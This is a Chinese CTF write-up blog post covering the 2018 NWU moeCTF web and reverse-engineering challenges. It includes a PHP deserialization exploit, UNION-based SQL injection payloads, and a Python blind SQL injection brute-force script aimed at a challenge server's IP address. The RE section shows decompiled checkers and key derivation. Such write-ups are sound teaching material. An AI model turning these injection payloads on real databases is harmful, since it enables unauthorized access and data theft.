NWU-moeCTF题解2(2018)
by wqpw
目录
- web
- re
一. web
1.机器人
按照学习资料,查看robots.txt。
然后访问那个txt。
2.让我们来弹一个flag
3.php弱类型
一个很经典的题目。原理如下:
使用!=,==时会进行类型转换再比较。所以只要找一个md5后开头0e后面同样全是数字的字符串就行,比如240610708
正确做法:https://www.baidu.com/baidu?wd=QNKCDZO (逃)
4.An easy SQLi 2(万能密码
第二个就行
5.头啊头哇
首先把get参数的值改成flag
提示必须使用IceRabbit浏览器。所以根据学习资料修改User-Agent。
用火狐浏览器Ctrl+Shift+E重新载入,然后编辑重发请求,将User-agent改成IceRabbit再发送。
然后把referer改成google
结束
6.唯快不破?
第一个是用javascript在body加载完成后跳转。
第二个是用http-equiv=refresh定义自动刷新,间隔0s。
三个html<p>里的内容合起来就是flag。
7.php反序列化
按照代码逻辑,只要有一个hack类的实例A的成员变量$mod1是str类的实例,而且$mod1的成员变量$str1是get_flag类的实例,就可以在脚本执行结束时执行A的析构函数连接字符串,从而调用$mod1的魔术方法__toString,然后执行$mod1的成员变量$str1的成员函数flag()得到flag。
所以只需要按照上面的思路自己定义一个实例然后序列化,发送给程序反序列化即可。
exp:
<?php
error_reporting(0);
class hack
{
public $mod1;
public function __construct(){$this->mod1=new str();}
public function __destruct()
{
$this->mod1 = "concat string".$this->mod1;
}
}
class str
{
public $str1;
public function __construct(){$this->str1=new get_flag();}
public function __toString()
{
$this->str1->flag();
return "1";
}
}
class get_flag
{
public function flag()
{
echo "tql, 给师傅递flag:"."nwuctf{xxxxxxxxxxxxxxx}";
}
}
$a = new hack;
echo urlencode(serialize($a))."<br />";
?>
复制生成的序列化后的对象,然后发送。
8.如果还有如果
第一个点是parse_str()函数的变量覆盖。
进入action=auth后连着3个if来迷惑你。
但其实只要?action=auth&hashed_password=22180f07c8d8de04667257a18d9a64c6
就行了。
9.An easy SQLi
简单数字型sql注入
先判断列数
可知有两列,然后判断输出点
查询当前库的表名,第二个有flag。
然后查询表fl4g的列名。
?id=-1 union select 1,(select count(*) from information_schema.columns where table_name='fl4g')
可知只有一个列,然后
id=-1 union select 1,(select * from fl4g)
当然你也可以用其他方法,比如报错注入。
10.sql注入漏洞
加了一些过滤,不过把资料看看迟早能弄出payload来。
这里给个爆破脚本。
import requests as reqts
url = 'http://123.207.166.65/nwuctf/zfgbhjyuk.php?id=1'
#payload1 = "' and length((select table_name from information_schema.tables where table_schema regexp database() limit 1,1)) between '{}' and '{}'--+"
#payload2 = "' and right((select table_name from information_schema.tables where table_schema regexp database() limit 1,1),{}) regexp binary '{}'--+"
#payload1 = "' and length((select column_name from information_schema.columns where table_name regexp 'fla49' limit 0,1)) between '{}' and '{}'--+"
#payload2 = "' and right((select column_name from information_schema.columns where table_name regexp 'fla49' limit 0,1),{}) regexp binary '{}'--+"
payload1 = "' and length((select flag from fla49)) between '{}' and '{}'--+"
payload2 = "' and right((select flag from fla49),{}) regexp binary '{}'--+"
def get_len():
length = 0
while True:
length = length + 1
req = reqts.get(url + payload1.format(length, length), timeout=5)
if req.text.find('hello') != -1:
break
return length
def get_res():
result = ''
length = get_len()
print "The length of data is: {}".format(length)
charset = '_}{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in range(1, length + 1):
for ch in charset:
req = reqts.get(url + payload2.format(i, ch+result), timeout=5)
if req.text.find('hello') != -1:
result = ch + result
print result
break
return result
if __name__ == "__main__":
res = get_res()
print "The result is: {}".format(res)
二.re
1.re1
方法一:把文件下载下来用记事本打开。
方法二:用Ollydbg
方法三:用ida
方法四:
2.pyc
第一步,百度pyc
第二步,反编译题目
第三步,处理代码
def fun1():
try:
var1 = int(raw_input('please enter your key:'))
except Exception:
None
None
None
var1 = 1
return var1
def fun2(var2):
var3 = 0xD8EA21CE54EAA6F16593CC9D3F9B6AEEB2124692BAD8A1B3A12953B394C9FCA82538529753D0CCA7FBCB90D9708CAFB080852772D1907A62418F27EFE7FB27EFL
var4 = 0x21FF2254681BD592E13F732612B964DA42A68735FF7D96600E3104CCD366FFA3056FE0A803A5AE51E215A9CD544C29116EF912E7B516781B0A781630BABF68B0L
if pow(2, var2, var3) == var4:
print 'nwuctf{key}'
else:
print 'sorry, please try again!'
while True:
var5 = fun1()
fun2(var5)
第三步,根据代码计算出key
3.Let's learn C
根据代码,flag在运算后和tflag相等,所以对tflag做逆运算即可。
#include <stdio.h>
int main(){
int i, j;
char tflag[] ="nxwfxf|EfGCDEfgCdEFgCDeF\x81\0";
for(i = 0; i < 5; i++)
for(j = 0; j < 5; j++)
tflag[i * 5 + j] -= j;
puts(tflag);
return 0;
}
4.crackme
百度vb6反编译,随便下一个VB Decompiler Pro,然后反编译。
关键部分
Set var_D0 = Me.Text1
var_D4 = var_D0.Text
var_E4 = CVar(var_D4) 'String
var_94 = var_E4 'Variant
var_E4 = Len(var_94)
var_C8 = var_E4 'Variant
var_98 = "756337178714884981945716536633~gesdvkbufubcuOr}rm"
var_F4 = 0
var_A8 = var_F4 'Variant
var_104 = 1
For var_124 = var_104 To var_C8: var_B8 = var_124 'Variant
var_E4 = 1
var_134 = Mid$(var_94, CLng(var_B8), var_E4)
var_D4 = CStr(var_134)
var_CC = CLng((Asc(var_D4) Mod &H11))
var_F4 = CVar(var_CC) 'Long
var_E4 = (var_A8 + var_F4)
var_A8 = var_E4 'Variant
Next var_124 'Variant
var_F4 = 99
If (var_A8 = var_F4) Then '401CF7
Call Proc_0_2_401F0C(var_98)
var_F4 = "You Win!"
var_134 = var_F4
var_E4 = CVar(var_D4) 'String
MsgBox var_E4, 0, var_134, var_144, var_164
整理一下…
var_94 = Me.Text1.Text
var_A8 = 0
For var_124 = 1 To Len(var_94):
var_CC = Asc(CStr(Mid(var_94, var_124, 1))) Mod 17
var_A8 = var_A8 + var_CC
Next var_124
If (var_A8 = 99) Then
MsgBox "You Win!"
End If
所以只要输入的字符串每一位的ascii码%17加起来等于99(比如cccccccV),就可以得到flag。
5.nwu
大胆猜测:
小心求证:
偏移量为6,14,21的位置直接输出,是{, _, }。
最后其实我主要是搞web的,re, pwn也就入门水平。刚好看了一篇比较硬核的和re相关的文章,有兴趣可以看看是啥感觉https://paper.seebug.org/712/
tags: blog